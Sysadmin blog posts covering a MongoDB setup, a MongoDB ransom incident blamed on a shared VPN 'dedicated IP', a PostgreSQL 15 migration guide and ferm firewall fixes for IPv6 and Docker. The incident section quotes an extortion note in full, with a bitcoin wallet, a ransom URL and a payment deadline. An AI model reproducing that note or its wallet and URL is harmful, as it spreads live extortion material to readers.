Step 9, Test login with authentication

To make sure everything worked, I logged in again, this time with credentials

mongosh -u admin -p --authenticationDatabase admin

After entering the password, I could run

db.runCommand({ connectionStatus: 1 })
Code language: CSS (css)

and see that the user was authenticated with roles. That’s the point where MongoDB stops being just “installed” and becomes “ready”.

Step 10, (Optional) Connect from Windows using MongoDB Compass

Because this is running inside WSL, it’s usually possible to connect from Windows tools like MongoDB Compass using localhost:27017.

A typical connection string looks like this

mongodb://admin:change_this_to_a_strong_password@localhost:27017/admin
Code language: JavaScript (javascript)

From there, collections, indexes, and documents are just a few clicks away. But the real work was everything that happened before this connection string even made sense.

Ending …

On the surface, all of this is just about installing a database server. A few lines in a config file. Some imports, a repository, a service, a user. Nothing grand.

But there’s a quiet kind of meaning in small technical victories like this. When the world feels noisy and chaotic, it’s comforting to have a place where cause and effect still line up.

When a VPN Becomes the Weakest Link

It started as something simple. I wanted to connect to one of my sandbox servers, just a temporary environment for testing some code and running quick database experiments. I didn’t want to bother setting up a WireGuard tunnel or a private VPN, so I took a shortcut.

I used Surfshark, a public VPN service that offers something they call a “Dedicated IP.”

The plan was straightforward, allow that dedicated IP through the firewall, open the MongoDB port, and connect directly for quick tests. It was just a sandbox, nothing critical. The kind of machine I can destroy and rebuild anytime. Or so I thought.

A few days later, I logged in and found a new database sitting inside MongoDB, created by someone else.

“All your data is backed up. You must pay 0.0064 BTC to bc1qcm7fey0n84zg9ce4j2vu40wvlcpk5ky6t9j9jf In 48 hours, your data will be publicly disclosed and deleted. (more information: go to http://2fix.info/mdb) After paying send mail to us: [email protected] and we will provide a link for you to download your data. Your DBCODE is: 1T0CPU”

then I run this simple script to check incomming connection

sudo grep -F "Connection accepted" /var/log/mongodb/mongod.log | grep -v "127.0.0.1"Code language: JavaScript (javascript)

and as I supected, hundreds IP address accessing the virtual machine, surely from Surshark Dedicated IP address, since I only open to that IP.

{"uuid":{"$uuid":"13224587-c0e5-471f-b7ff-f64c39f91387"}},"connectionId":742,"connectionCount":1}}
{"t":{"$date":"2024-10-11T15:57:17.068+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"74.82.47.3:26386","uuid":{"uuid":{"$uuid":"042b3de0-9062-43b0-8a9b-8174e4a86687"}},"connectionId":743,"connectionCount":1}}
{"t":{"$date":"2024-10-11T15:57:21.975+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"74.82.47.3:11136","uuid":{"uuid":{"$uuid":"4a7c8e21-1758-4a5d-b571-b2bfc7f9a450"}},"connectionId":744,"connectionCount":1}}
{"t":{"$date":"2024-10-11T16:08:05.228+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"185.103.110.235:54626","uuid":{"uuid":{"$uuid":"94e03077-b0e3-416d-baa4-f0875024232e"}},"connectionId":745,"connectionCount":1}}
{"t":{"$date":"2024-10-11T16:08:05.650+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"185.103.110.235:54628","uuid":{"uuid":{"$uuid":"6c845673-b35f-4f52-9376-1372ca57e0a5"}},"connectionId":746,"connectionCount":2}}
{"t":{"$date":"2024-10-11T16:08:05.658+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"185.103.110.235:54630","uuid":{"uuid":{"$uuid":"c50c07bf-66b0-4ba6-b91f-dbe791e4fd99"}},"connectionId":747,"connectionCount":3}}
{"t":{"$date":"2024-10-11T16:08:13.939+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"185.103.110.235:53500","uuid":{"uuid":{"$uuid":"a8293998-3706-4ee1-a71b-dcd97bc77aa8"}},"connectionId":748,"connectionCount":1}}
{"t":{"$date":"2024-10-11T16:08:14.340+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"185.103.110.235:53508","uuid":{"uuid":{"$uuid":"3230a372-f84c-42cc-98b8-156fe96fb386"}},"connectionId":749,"connectionCount":2}}
{"t":{"$date":"2024-10-11T16:08:14.340+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"185.103.110.235:53502","uuid":{"uuid":{"$uuid":"c4d15bd4-478b-45bc-aff7-d7514cc04598"}},"connectionId":750,"connectionCount":3}}
{"t":{"$date":"2024-10-11T18:05:00.735+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"80.66.76.121:2516","uuid":{"uuid":{"$uuid":"09a47585-72a1-4a0d-9ff5-ea09e2c4b9c0"}},"connectionId":751,"connectionCount":1}}
...
...Code language: JavaScript (javascript)

Look at all those IPs. A Surfshark Dedicated IP doesn’t mean the address belongs only to you, it’s still shared with others.

74.82.47.3
185.103.110.235
80.66.76.121
...Code language: CSS (css)

That’s when it clicked. Somewhere out there, someone had connected to the same endpoint I was using, through the same “dedicated” IP address.

Whether it was a bot or another user sharing that route, it didn’t matter. The connection was open, and I had handed over the key.

The illusion of a “dedicated” IP

Public VPN providers love to advertise their dedicated IPs as safer and cleaner. But in truth, you’re still part of a shared network, owned and managed by someone else. The endpoint doesn’t belong to you. You can’t control who else tunnels through the same infrastructure, or whether that IP range is constantly scanned by bots looking for open ports.

It’s easy to forget that security is rarely about the tools, it’s about who controls them. And in this case, the one thing I didn’t control was the very door I had opened.

What really happened ???

The setup was simple, A sandbox VM, MongoDB open on port 27017 and access allowed only from my Surfshark dedicated IP.

But that IP wasn’t mine in the real sense. It belonged to the VPN provider. And it turns out, someone else maybe an automated scan or a curious user, reached the same endpoint, saw the open port, and dropped in a few test databases.

The system wasn’t compromised deeply, no damage was done. But the message was clear enough. In infrastructure work, even the smallest gap in trust can turn into a hole.

Lessons learned

Since that day, I’ve stopped using any kind of public VPN for server management, no matter how “private” or “dedicated” it claims to be.

If I need secure access, I use SSH tunneling, with proper keys, Cloudflare Tunnel, for services I want behind authentication and WireGuard, for site-to-site or peer access I fully control.

And most importantly, I keep database ports closed by default. Always.

The idea that you can safely expose a database port just because it’s bound to a specific IP is an illusion. That IP might belong to you today, but it doesn’t mean it’s yours alone tomorrow.

A quiet reminder

This was just a sandbox incident. Nothing valuable was lost. But that’s the beauty of a sandbox, it lets you make mistakes that would be fatal elsewhere.

Security isn’t just about firewalls and certificates. It’s also about discipline, about resisting shortcuts when convenience tempts you. And every once in a while, a harmless mistake like this is what keeps that lesson alive.

So, if you’re managing servers, here’s a reminder I wish I’d given myself earlier. Don’t use public VPNs for admin access, close your portsc use SSH, control your own tunnels.

Because in the end, the moment you hand over control of your connection, you’re no longer the one deciding who gets in.

To round off this lesson, it’s worth spending a few minutes watching the short video below. It provides a compelling walkthrough of how even seemingly secure access points can become entryways when shared infrastructure is involved, it echoes the exact scenario I experienced with the sandbox server and public VPN endpoint.

Take a look, reflect on the mechanics and implications, and let it reinforce the message, control your own access, lock the ports, and never assume “dedicated” means exclusive.

Safely Migrating a PostgreSQL 15 Database to Another Server

There are many ways to move a PostgreSQL database between servers, but for a production-grade setup,where roles already exist and you simply want to migrate one database cleanly, the safest path is to create the target database first and restore into it.

This approach keeps ownerships and permissions consistent, avoids overwriting roles, and works perfectly between PostgreSQL servers of the same major version (in this case, version 15).

Preparing the Destination

Start by making sure the role (user) already exists on the destination. In this example, we’ll migrate a database named myapp that belongs to the role myapp_user.

Check if the role exists.

sudo -u postgres psql -c "SELECT 1 FROM pg_roles WHERE rolname='myapp_user';"
Code language: JavaScript (javascript)

If not found, create it.

sudo -u postgres psql -c "CREATE ROLE myapp_user WITH LOGIN PASSWORD 'strongpass';"
Code language: JavaScript (javascript)

We won’t import global roles from the source, because I already manage users manually.

Step 1, Create a Backup on the Source Server

On the source host, run:

pg_dump -U postgres -h localhost -Fc -f /tmp/myapp.dump myapp

This command creates a custom-format dump file that can be restored flexibly and in parallel.

Check the file.

ls -lh /tmp/myapp.dump

Step 2, Copy the Dump to the Destination

Send the dump file securely to the new server.

scp /tmp/myapp.dump user@pg-dst:/tmp/
Code language: JavaScript (javascript)

Or, if you prefer to pull it.

scp user@pg-src:/tmp/myapp.dump /tmp/
Code language: JavaScript (javascript)

Step 3, Create the Target Database

Now on the destination server:

sudo -u postgres createdb -O myapp_user myapp

This prepares an empty database owned by the correct role.
Confirm.

sudo -u postgres psql -c "\l myapp"
Code language: JavaScript (javascript)

Step 4, Restore the Dump

Restore the data into the new database.

sudo -u postgres pg_restore -d myapp /tmp/myapp.dump

If you only want to import schema and data (ignoring ownership or ACL info from the dump), use.

sudo -u postgres pg_restore --no-owner --no-acl -d myapp /tmp/myapp.dump

Large databases can be restored in parallel.

sudo -u postgres pg_restore -j 4 --no-owner --no-acl -d myapp /tmp/myapp.dump

Step 5, Verify the Result

List tables.

sudo -u postgres psql -d myapp -c "\dt"
Code language: JavaScript (javascript)

Log in as the application user.

psql -h localhost -U myapp_user -d myapp

Inside psql.

SELECT current_user;
SELECT count(*) FROM information_schema.tables WHERE table_schema='public';
\q
Code language: JavaScript (javascript)

If that works, the migration is complete.

Optional, Direct Pipe Transfer (No Dump File)

If the servers are connected by SSH and you prefer streaming,

sudo -u postgres createdb -O myapp_user myapp
ssh postgres@pg-src "pg_dump -U postgres -Fc myapp" | sudo -u postgres pg_restore --no-owner --no-acl -d myapp
Code language: CSS (css)

This performs the same transfer in one step without creating a dump file on disk.

Summary

StepActionCommand
1Dump database on sourcepg_dump -Fc -f /tmp/myapp.dump myapp
2Copy to destinationscp /tmp/myapp.dump user@pg-dst:/tmp/
3Create DB on destinationcreatedb -O myapp_user myapp
4Restorepg_restore -d myapp /tmp/myapp.dump
5Verifypsql -d myapp -c "\dt"

Closing Notes

When both PostgreSQL instances are on version 15, this method is safe, idempotent, and easy to automate.

Creating the database first and assigning it to the same role keeps your access structure intact, ideal for teams managing multiple environments with predefined roles.

It’s the same principle you’d apply in any infrastructure move, build the container first, then pour the data in.

When Cloudflare Tunnel Feels Slow and Docker Can’t Reach Out, A Ferm Firewall Story

A few days after setting up my simple firewall with ferm on Debian 12, everything seemed perfect. The host was quiet, the rules were clean, and I finally had a minimal setup that did exactly what I wanted, blocking everything inbound, keeping outbound open, and allowing SSH only from the local LAN.

It worked flawlessly, until one morning, Cloudflare Tunnel started to crawl.

It wasn’t a full failure. The tunnel connected, but everything behind it became painfully slow. Grafana dashboards that used to appear instantly now took half a minute to load. At first, I thought Cloudflare was having a bad day.But soon I noticed that even local services connected via 127.0.0.1 were lagging. Something deeper was wrong.

I started retracing my steps, beginning with the firewall configuration that I’d written so confidently.

domain (ip ip6) {

That one line was the silent culprit. By using both ip and ip6, ferm applied the same set of rules to IPv4 and IPv6. It seemed elegant, but IPv6 behaves differently.

It absolutely depends on ICMPv6 for neighbor discovery, router solicitation, and path MTU discovery. If those packets are blocked, IPv6 doesn’t fail loudly; it just hangs, waiting, before reluctantly falling back to IPv4. That’s what caused the slowness.

Modern services like Cloudflared, the daemon behind Cloudflare Tunnel, prefer IPv6 whenever possible. When ferm silently dropped ICMPv6, the tunnel kept trying IPv6, timing out before retrying over IPv4. The connection worked, but only after several seconds of wasted time.

The fix was almost laughably simple.

@if @eq($DOMAIN, ip6) {
  proto ipv6-icmp ACCEPT;
}
Code language: CSS (css)

After reloading ferm, the difference was instant. Cloudflare Tunnel connected smoothly again, no lag, no waiting.

It wasn’t Cloudflare’s fault; it was my firewall quietly blocking a protocol it didn’t understand.

A gentle reminder that IPv6 isn’t optional anymore.

Docker’s Silent Struggle

Just as I was celebrating that fix, another issue surfaced. Docker containers couldn’t reach the internet. Uptime Kuma failed to ping its targets, and PMM exporters couldn’t send their metrics out.

Disabling ferm made everything normal again, clear evidence that something in the firewall was cutting Docker off.

Docker’s networking model is built around its own bridge interfaces and internal NAT. It injects iptables rules dynamically and expects to manage the FORWARD chain. By setting a global policy DROP, I had unintentionally overridden those assumptions.

I had written a rule that looked right but wasn’t.

interface docker0 ACCEPT;
Code language: PHP (php)

The catch, Docker Compose (and most modern setups) no longer use docker0 exclusively. Each stack creates its own network bridges with names like br-3f1b8e.... Those weren’t covered by my rule, so containers on those bridges were alive but trapped, unable to reach out.

The fix was once again surprisingly small.

chain FORWARD {
  policy DROP;
  mod state state (ESTABLISHED RELATED) ACCEPT;
  interface (docker0) ACCEPT;
  interface (br-+) ACCEPT;
}

The br-+ wildcard matches all user-defined Docker bridges, letting containers communicate freely while keeping the firewall strict. After adding it, Uptime Kuma began pinging again, PMM exporters connected, and everything returned to normal.

The Final Working Configuration

Here’s the final, balanced ferm configuration that works perfectly with Cloudflare Tunnel and Docker, without exposing unnecessary ports:

domain (ip ip6) {
  table filter {
    chain INPUT {
      policy DROP;

      mod state state (ESTABLISHED RELATED) ACCEPT;
      interface lo ACCEPT;
      proto icmp ACCEPT;

      @if @eq($DOMAIN, ip6) {
        proto ipv6-icmp ACCEPT;
      }
       
      # example of ssh custom port
      proto tcp saddr 192.168.0.0/16 dport 33333 ACCEPT;
    }

    chain OUTPUT {
      policy ACCEPT;
      mod state state (ESTABLISHED RELATED) ACCEPT;
    }

    chain FORWARD {
      policy DROP;
      mod state state (ESTABLISHED RELATED) ACCEPT;
      interface (docker0) ACCEPT;
      interface (br-+) ACCEPT;
    }
  }
}

This setup keeps inbound traffic locked down, allows Cloudflare Tunnel and Docker to operate normally, and still enforces strict control on the host.

It’s a small refinement, but one that makes the difference between a server that “mostly works” and one that works perfectly.

Sometimes, what slows a system isn’t a missing rule, but a missing understanding. IPv6 quietly expects its own rules, and Docker networks are more dynamic than they appear.

Once you account for both, ferm becomes what it’s meant to be, clean, predictable, and fast.

Lesson learned, test both IPv4 and IPv6, and never assume Docker’s world ends at docker0.

Security is about precision, not paranoia.